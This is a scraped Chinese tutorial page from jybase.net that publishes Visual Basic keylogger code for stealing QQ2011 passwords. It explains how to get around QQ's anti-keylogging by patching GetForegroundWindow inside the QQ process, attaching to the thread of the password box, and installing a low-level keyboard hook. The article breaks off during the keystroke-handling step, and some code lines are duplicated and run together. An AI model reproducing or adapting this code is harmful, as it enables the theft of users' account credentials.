www.jybase.net - 寂涯网络学习基地

404 Error: 抱歉, 您所查找的页面不存在, 可能已被删除或您输错了网址!

404错误,没有发现你要找的页面, 经砖家仔细研究结果如下:

首 页 | 在线视频观看 | 系统综合 | 网站相关 | 教程共享 | 网赚教程共享 | 精品软件下载 | 网盘搜



















































































































免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > qq相关 > 无驱动记录QQ2011密码

无驱动记录QQ2011密码

时间:2012-03-26 20:49来源:未知 整理:寂涯网络 点击:

今天我放出一份可以记录 QQ2011 密码的完整代码,让大家知道编程实现的具体过程。 这个工程最初是由名为 rqqeq 的网友发布的,我下载后去除了冗余的代码修正了功能上的错误。在此特地感谢 rqqeq 网友。
首先简单说说 QQ 反键盘记录机制的原理。在早些年,QQ 曾经使用 NP 等内核级插件进 行密码保护,由于兼容性差(据说在 VISTA 系统下经常导致蓝屏),所以腾讯放弃了,改用 Ring 3 级密码保护措施。QQ 的反键盘记录机制并没有使用 API HOOK 让能实现键盘记录的函 数失效,而是使用消息钩子(WH_KEYBOARD_LL),在 QQ 主窗体得到焦点的时候,不断发送随 机字符,让你不仅记录了真正的密码,也记录了 QQ 发送的随机字符,最终得到的都是混合 密码和随机字符字符串。当然,这个字符串对于盗号者来说是毫无意义的,因为你根本无法 分离出密码和随机字符。所以,要突破 QQ 的反键盘记录,有以下三个步骤:
1.不让 QQ 知道自己获得了焦点(HOOK GetForegroundWindow 函数)
2.查找 QQ 的主窗口句柄,得到密码框(实际上就是标准的 edit 控件)的句柄,并依附密码
框所属的线程
3.注册 WH_KEYBOARD_LL 钩子实现键盘记录,当检测到密码框获得焦点时,就进行键盘记录 一、挂钩 QQ 进程内部的 GetForegroundWindow 函数
QQ 通过使用 GetForegroundWindow 函数获得当前被激活的窗口,如果对比发现当前被 激活的窗口就是自己的窗口,就会不断注册 WH_KEYBOARD_LL 钩子,来扰乱键盘记录,所以 当前要务,就是不能让 QQ 得知自己的窗口被激活了。挂钩 GetForegroundWindow 函数不用 注入 DLL,直接通过代码注入即可。原理也不用多说了,就是修改 GetForegroundWindow 的 前 5 字节为 jmp,跳转到一片自己申请的内存处。而自己申请的那片内存的长度仅需一个字 节,内容为 0xC3 即可(代码里申请了五个字节,但实际上只需要一个字节,后面全部填充 NOP 了):

Public Function Hook(ByVal pid As Long) Dim h As Long
Dim FuncAddr As Long Dim NewCode(4) As Byte Dim HookCode(4) As Byte
Dim CodeAddr As Long
h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
Dim CodeAddr As Long
h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) NewCode(0) = &HE9 'jmp
HookCode(0) = &HC3 'ret HookCode(1) = &H90 'nop HookCode(2) = &H90 'nop HookCode(3) = &H90 'nop HookCode(4) = &H90 'nop
FuncAddr  =  GetProcAddress(GetModuleHandleA("USER32.DLL"), "GetForegroundWindow")
CodeAddr = VirtualAllocEx(h, ByVal 0, 5, MEM_COMMIT Or MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
CopyMemory VarPtr(NewCode(1)), VarPtr(CodeAddr - FuncAddr - 5), 4
WriteProcessMemory h, ByVal CodeAddr, HookCode(0), 5, 0
WriteProcessMemory h, ByVal FuncAddr, NewCode(0), 5, 0
CloseHandle h
End Function
二、找到密码框句柄并依附到密码框所属线程并依附
先解释一下为什么不仅要“找到密码框句柄”还需要“依附到密码框所属线程”。有个 叫 GetFocus 的 WIN32API 可以获得当前拥有焦点的控件的句柄,但只针对自身进程有效,对 别的进程无效。举个例子,即使 QQ 的密码框得到了焦点,但 QQ 以外的进程直接用 GetFocus 也是无法得知 QQ 的哪个控件得到了焦点的。为了解决这个问题,MSDN 是这么描述的:
Use the GetForegroundWindow function to retrieve the handle to the window with which the user is currently working. You can associate your thread's message queue with the windows owned by another thread by using the AttachThreadInput function.
微软的描述总是文绉绉的,简单点说,就是如果你要得知其它进程(准确地说是线程)
所拥有的控件是否有得到句柄直接用 GetFocus 不行,但是在使用 GetFocus 前先用
AttachThreadInput 函数“依附”到控件所属线程就行了:
Dim hwnd As Long
hwnd = FindWindowA("TXGuiFoundation", "QQ2011") If hwnd = 0 Then
MsgBox "QQ not found!" Exit Sub
End If
hwnd_qq_num = FindWindowExA(hwnd, 0, "TXEdit", 0)
hwnd_qq_psw = FindWindowExA(hwnd, 0, "Edit", 0) If hwnd_qq_num = 0 Or hwnd_qq_psw = 0 Then
MsgBox "Some HWND not found!" Exit Sub
End If
edit_tid = GetWindowThreadProcessId(hwnd, qpid) AttachThreadInput GetCurrentThreadId, edit_tid, 1
Hook qpid
三、注册 WH_KEYBOARD_LL 钩子实现键盘记录
用 SetWindowHookExA 注册 WH_KEYBOARD_LL 钩子:
hHook  =  SetWindowsHookEx(WH_KEYBOARD_LL,  AddressOf  MyKBHook, GetModuleHandleA(0), 0)
精华在于处理部分。这个“处理”包括两个方面,一个是只有焦点在密码框里才记录,

本页地址 http://www.jybase.net/qqxiangguan/20120326809.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商